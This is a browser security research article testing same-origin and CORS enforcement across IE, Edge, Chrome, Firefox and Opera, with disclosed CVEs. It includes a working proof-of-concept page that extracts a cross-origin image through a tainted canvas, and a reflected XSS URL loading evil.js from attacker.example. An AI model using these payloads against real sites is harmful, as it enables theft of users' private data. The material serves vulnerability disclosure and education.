Every major version of Internet Explorer, as far back as it supports XMLHttpRequest. IE11 on Windows 10 behaves differently from IE11 on older Windows versions, even with the latest patches applied, so three versions of IE11 on Windows 10 were tested, one on Windows 7, and all 31 versions of IE11 on Windows 8.1, the initial one plus the 30 cumulative updates:
- IE 7.0.6002.18005 (Windows Vista, 2006)
- IE 8.0.7601.17514 (Windows 7, Mar 2009)
- IE 9.0.8112.16421 (Windows 7, Mar 2011)
- IE 10.0.9200.17609 (Windows 7, Jan 2016, KB3124275, MS16-001)
- IE 11.0.9600.18860 (Windows 7, Dec 2017, KB4052978)
- IE 11.0.XXXX.XXXXX (Windows 8.1, initial plus all 30 updates from April 2016 to Jan 2019)
- IE 11.1.17134.0 (Windows 10, Oct 2017, KB4040685)
- IE 11.407.17134.0 (Windows 10, Nov 2018, KB4466536)
- IE 11.471.17134.0 (Windows 10, Dec 2018, KB4470199)
Virtual machines for various platforms, including VMware Fusion, with IE versions 8 to 11 can be downloaded from Microsoft's site. Virtual machines for Microsoft Hyper-V can be downloaded from Microsoft's site too. These can be imported into VirtualBox as well, and from there exported to OVF format for VMware.
Microsoft Edge
Only one recent version of Microsoft Edge was tested:
- Microsoft Edge 42.17134.1.0 (Apr 2018)
A virtual machine with that Edge version can be downloaded from Microsoft's site.
Test setup
The author wrote an HTTP server, a program that answers requests from browsers, based on Python's http.server, plus some supporting HTML and JavaScript. The server implements a dummy login and requires a cookie issued by it for requests to any file under /secret/. In other words, it behaves like a small website with a members-only area.
The CORS headers to be included in the server's response to each request are taken from URL parameters in that request. Supported parameters:
creds: should be 0 or 1, requestingAccess-Control-Allow-Credentials: trueorfalseorigin: specifiesAccess-Control-Allow-Origin; it is taken literally unless it is{ECHO}, in which case it is taken from theOriginheader in the request
/demos/sop/getSecret.html prompts for the target origin, which should be different from the one it is loaded from, then logs in to it, and fetches https://<target_host>/secret/<secret file>?origin=...&creds=... requesting each one of the five CORS combinations described below, using each of the eight cross-origin request methods described below.
Server CORS modes
Each request was submitted 5 times, each time with the server configured to reply with one of the five Access-Control-Allow-* header combinations:
Table 2: The combinations of CORS server response headers tested
In that table, "{as requested}" means the server specifically allowed the origin the request came from, "Yes" indicates a true value of the header, and "No" means false.
Cross-origin request methods
Each browser was tested with the following 8 cross-origin request and data exfiltration methods:
Table 3: The cross-origin request and data exfiltration methods tested
There are exceptions for the GET method via iframe and object. Iframe and object do not support CORS, so the browser should always refuse access, even if the server would allow a GET for this resource.
Requested targets
Where the request method used a canvas, the secret file was an image. A canvas is an area of a web page where JavaScript can draw and manipulate pictures. Otherwise the file was a plain text file.
Each test was done twice: once to an origin with a different hostname, the IP address of a different interface on the same machine, and once to an origin with the same hostname or IP address but a different port number. That makes 8 × 5 × 2 = 80 tests per browser.
Results
The article summarises the browsers that send the request and/or allow JavaScript to read the response when they should not. The full list of every request is in the result tables for cross-origin requests to different hostnames and to the same hostname on different ports.
When the target origin differs by hostname
When the target origin had a different hostname, most browsers were either compliant or forbade the request, which is the safe fallback if CORS is not supported.
A notable exception was the then-current versions of Chrome, Firefox and Opera, which allowed JavaScript to read so-called tainted canvases. A tainted canvas is one rendered from an image that was not loaded for cross-origin use, meaning no crossorigin attribute was given. The browser is supposed to mark such a canvas as off-limits to JavaScript, because the image was fetched with the user's cookies and may be private. The author discovered this bug while doing the research and reported it to Google and Mozilla; it became CVE-2018-18511.
In addition, a few very old versions of Chrome did not apply the CORS policy to XMLHttpRequests.
In this and the following tables, highlighted cells indicate behaviour that does not conform to the specification.
Table 4: Browsers with dangerous SOP policy for origins differing by hostname
When the target origin differs only by port number
In addition to the vulnerable browsers in Table 4, when the target origin differed only in port number, all versions of Internet Explorer and Edge, including the latest, had an unsafe SOP policy.
Interestingly, Edge allowed exporting of tainted bitmap canvases only in this case, when the origins are on the same host.
Table 5: Browsers with dangerous SOP policy for origins differing by port number only
What this means
There are two main issues to discuss.
Issue 1: exporting tainted canvases
Sometime in 2018 a bug was introduced in Chrome, Firefox and Opera that allowed rendering any image to a bitmap canvas and exporting it.
This is serious because the browser sends the cookies it has for a domain when loading images from that domain. If a user, while logged in to their account at bank.example, visits an attacker's page, that page can steal any sensitive images the user has access to. All the attacker needs is the URL of the image. The image can be anything: a personal photo, a scanned document, or the QR code for a two-factor authentication secret. Two-factor authentication is the second proof of identity, often a code from an app, that sites ask for after your password. This is an example of CSRF where it was up to the browser, not the server, to prevent it.
Google did not make fixing the issue a priority, because it was not exploitable due to another bug in Chrome: toDataURL() and toBlob() gave a generic transparent image for bitmap canvases. toDataURL() is the JavaScript call that turns a canvas into an image file. They did eventually fix it, and subsequently the other bug, which was giving a transparent image for a bitmap context. They assigned the author's bug CVE-2019-5814.
Mozilla fixed the bug within days and pushed an update. Days after that, the author discovered an alternative way of getting the image, CVE-2019-9797: again by converting it to an ImageBitmap, but then rendering it in a 2D canvas instead of a bitmap canvas:
<html><body>
<script charset="utf-8">
function getData() {
createImageBitmap(this, 0, 0, this.naturalWidth,
this.naturalHeight).then(function(bmap) {
var can = document.createElement('canvas');
// mfsa2019-04 fixed this
// --------------------------
// var ctx = can.getContext('bitmaprenderer');
// ctx.transferFromImageBitmap(bmap);
// --------------------------
// but not this
var ctx = can.getContext('2d');
ctx.drawImage(bmap, 0, 0);
document.getElementById('result').textContent = can.toDataURL();
var img = document.getElementById('result_render');
img.src = can.toDataURL();
document.body.appendChild(img);
}); }
</script>
<img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
<br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
<br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>
Line by line, in plain words:
<html><body>opens the page and its visible body.<script charset="utf-8">starts a block of JavaScript, the code that runs in the page.function getData() {defines a function, a named block of code that can be called later.createImageBitmap(this, 0, 0, this.naturalWidth, this.naturalHeight)takes the image that triggered the call and turns it into anImageBitmap, a format the browser can draw quickly..then(function(bmap) {says: when that conversion finishes, run the following code with the result, calledbmap.var can = document.createElement('canvas');creates an empty canvas element in memory, not yet on the page.- The commented-out block, lines starting with
//, is the path that the Firefox update mfsa2019-04 fixed: abitmaprenderercontext withtransferFromImageBitmap. A context is the drawing tool attached to a canvas;bitmaprendereris the one that accepts anImageBitmapdirectly. var ctx = can.getContext('2d');instead attaches the ordinary 2D drawing tool, the one used for shapes and images.ctx.drawImage(bmap, 0, 0);draws the bitmap onto the canvas at the top-left corner.document.getElementById('result').textContent = can.toDataURL();turns the canvas into a data URL, a long text string that contains the image itself, and puts it in the textarea with idresult.var img = document.getElementById('result_render');finds the visible image element on the page.img.src = can.toDataURL();sets that image's source to the same data URL, so the stolen picture is displayed.}); }closes the function and the script block.- The
<img style="visibility: hidden" ... onload="getData.call(this)"/>line loads an image from another site, hidden from view, and callsgetDatawhen it finishes loading.thisrefers to the image itself, which is how the function gets hold of it. - The
<textarea readonly ... id="result">is a read-only text box where the data URL is written. - The last line shows the re-rendered image in a visible
<img id="result_render">.
Mozilla were again quick to fix it. The fix made it into the stable branch on 1 April. Chrome was not vulnerable to this version of the exploit.
Issue 2: IE and Edge's same-origin policy for origins on the same host
Internet Explorer and Edge do not consider origins on the same host but different ports distinct, at least not as distinct as origins with different hostnames. This is not a new issue, and not an accidental oversight by Microsoft. The Mozilla Developer Guide is quite clear that:
Internet Explorer has two major exceptions to the same-origin policy:
- Trust Zones: If both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied.
- Port: IE doesn't include port into same-origin checks. Therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied.
It also clearly points out that:
These exceptions are nonstandard and unsupported in any other browser.
The behaviour of modern Internet Explorer and Edge is striking for several reasons:
- The changes introduced for Windows 10 do improve the security of IE, but have been applied inconsistently and insufficiently:
- They are not available for older Windows versions, even though security updates are still being issued for them.
- They close the loophole in
XMLHttpRequest, but still allow cross-origin access via iframe; data from another origin can also be stolen using object.
- It clearly violates the standard that was set long ago, and that all other browsers conform to, for good reason.
The author does not know the reasoning behind their same origin policy, but the implications are not negligible. We often see multiple HTTP services on the same host. Usually one is a standard public site on ports 80 and 443, and another may be an administrative interface that is not publicly accessible. Treating these as a single origin exposes every service on the host to attacks if even one of them is compromised.
Consider a hypothetical example: a simple public website that holds no sensitive data and implements no authentication. It is likely that not a lot of attention would be paid to its secure implementation, as it does not appear to be a valuable target. Let's say a page on the site, /vulnerable.html, is vulnerable to a reflected Cross-Site Scripting (XSS) attack. XSS is a bug where a site takes something a visitor typed or clicked and puts it into the page without cleaning it, so an attacker can slip in their own code. An attacker can trick the developer of the site into visiting the following link:
http://localhost/vulnerable.html?search=<script%20src%3d"%2f%2fattacker.example%2fevil.js"><%2fscript>
This is a URL, the address you type to reach a page. Everything after the ? is the query string, data passed to the page. Here the search parameter contains a script tag, with the angle brackets and slashes written in percent-encoding, a way of writing special characters so they survive being put in a URL. Decoded, it says: load a script from http://attacker.example/evil.js.
The vulnerable page reflects the search parameter, meaning it prints it back into the page, and in this way loads a script from http://attacker.example/evil.js. The JavaScript executes in the context of the page, localhost, as if it had been hosted on the site. Any requests it makes come from origin http://localhost.
Imagine there is a sensitive administrative panel on the same host, port 8080, which is not accessible from the public network and does not allow cross-origin requests. If the developer who has fallen victim to the reflected XSS is using Internet Explorer or Edge, then evil.js from attacker.example will have full access to the panel. In particular:
- if the developer is not logged in to the admin panel, the script may attempt to brute force accounts on the administrative panel, trying many passwords in the hope one works
- if the developer is logged in to the admin panel, the script can get any data from it or take any action at the level of privilege of the developer
The author leaves it to the reader to reach their own conclusion. Hers would be "do not use IE or Edge".
Tools used
- The author's (not so) simple (anymore) HTTP server, based on Python's simple HTTP server, published on GitHub and PyPI as
mixnmatchttp - VMware Fusion, for running all of the browsers
- Official Microsoft virtual machines for IE and Edge
References
- OWASP's CSRF prevention cheatsheet
- The Web Origin Concept, RFC 6454
- The Cross-origin resource sharing (CORS) standard
- The HTTP standard, RFC 7231
- Simple HTTP requests, on MDN
Disclaimer
The information in this article is provided for research and educational purposes only. Aura Information Security does not accept any liability in any form for any direct or indirect damages resulting from the use of or reliance on the information contained in this article.
Glossary
- API: a defined way for one piece of software to ask another for data or actions, like a service counter with set rules.
- Bitmap canvas: a canvas that stores an image as individual pixels rather than as drawing instructions.
- Brute force: trying many passwords or guesses in the hope that one works.
- Canvas: an area of a web page where JavaScript can draw and manipulate images.
- Context: the drawing tool attached to a canvas, such as
2dorbitmaprenderer. - Cookie: a small piece of data a site stores in your browser and gets back on later requests, used to recognise you, for example to keep you logged in.
- CORS (Cross-Origin Resource Sharing): the standard that lets a server say which other origins may read its responses.
- Cross-origin request: a request sent from one origin to a different one.
- CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request the user did not intend.
- CVE: a public catalogue number for a known security vulnerability.
- Data URL: a long text string that contains a file, such as an image, inside it.
- DNS rebinding: an attack where a domain name is made to point at a different machine than expected.
- GET: an HTTP method that asks for a resource; it is supposed to never change data.
- HTML: the language web pages are written in.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTP header: a line of extra information attached to a request or response, such as where it came from or what type of data it carries.
- HTTPS: HTTP with encryption.
- Iframe: a small window inside a page that loads another page.
- ImageBitmap: a browser format for an image that can be drawn quickly onto a canvas.
- IP address: the numeric address of a machine on a network.
- IP whitelisting: allowing requests only from a list of approved network addresses.
- JavaScript: the programming language that runs inside web pages.
- JSON: a common text format for structured data.
- Method: the type of an HTTP request, such as
GET,POSTorOPTIONS. - OPTIONS: an HTTP method used for preflight checks.
- Origin: the combination of protocol, hostname and port that identifies where a page or request comes from.
- OWASP: an organisation that publishes guidance on web application security.
- Port: the numbered door on a server that a request knocks on; 443 is the default for HTTPS.
- POST: an HTTP method that sends data to the server.
- Preflight check: a preliminary
OPTIONSrequest a browser sends to ask whether a non-simple cross-origin request is allowed. - Protocol (scheme): the rules for communication, such as
httporhttps. - Query string: the part of a URL after the
?, carrying data to the page. - Redirect: a server telling the browser to go to a different address.
- Referer: an HTTP header saying which page a request came from.
- Same Origin Policy (SOP): the browser rule that stops pages from one origin reading data from another unless allowed.
- SameSite: a cookie setting that limits when the browser sends the cookie to requests from the same site.
- Session cookie: a cookie that identifies your logged-in session.
- Simple request: a cross-origin request that uses
GET,HEADorPOST, has no non-standard headers, and submits form-style content. - Tainted canvas: a canvas drawn from an image loaded without cross-origin permission, which JavaScript should not be able to read back.
- Token: a random value issued by a server and required back with an action, to prove the action came from the site's own page.
- Two-factor authentication: a second proof of identity, such as a code from an app, asked for after your password.
- URL: the address of a page or resource on the web.
- Virtual machine: a computer simulated inside another computer.
- XSS (Cross-Site Scripting): a bug where a site puts untrusted input into a page without cleaning it, letting an attacker run their own code.
- XMLHttpRequest: the older JavaScript mechanism for fetching data in the background.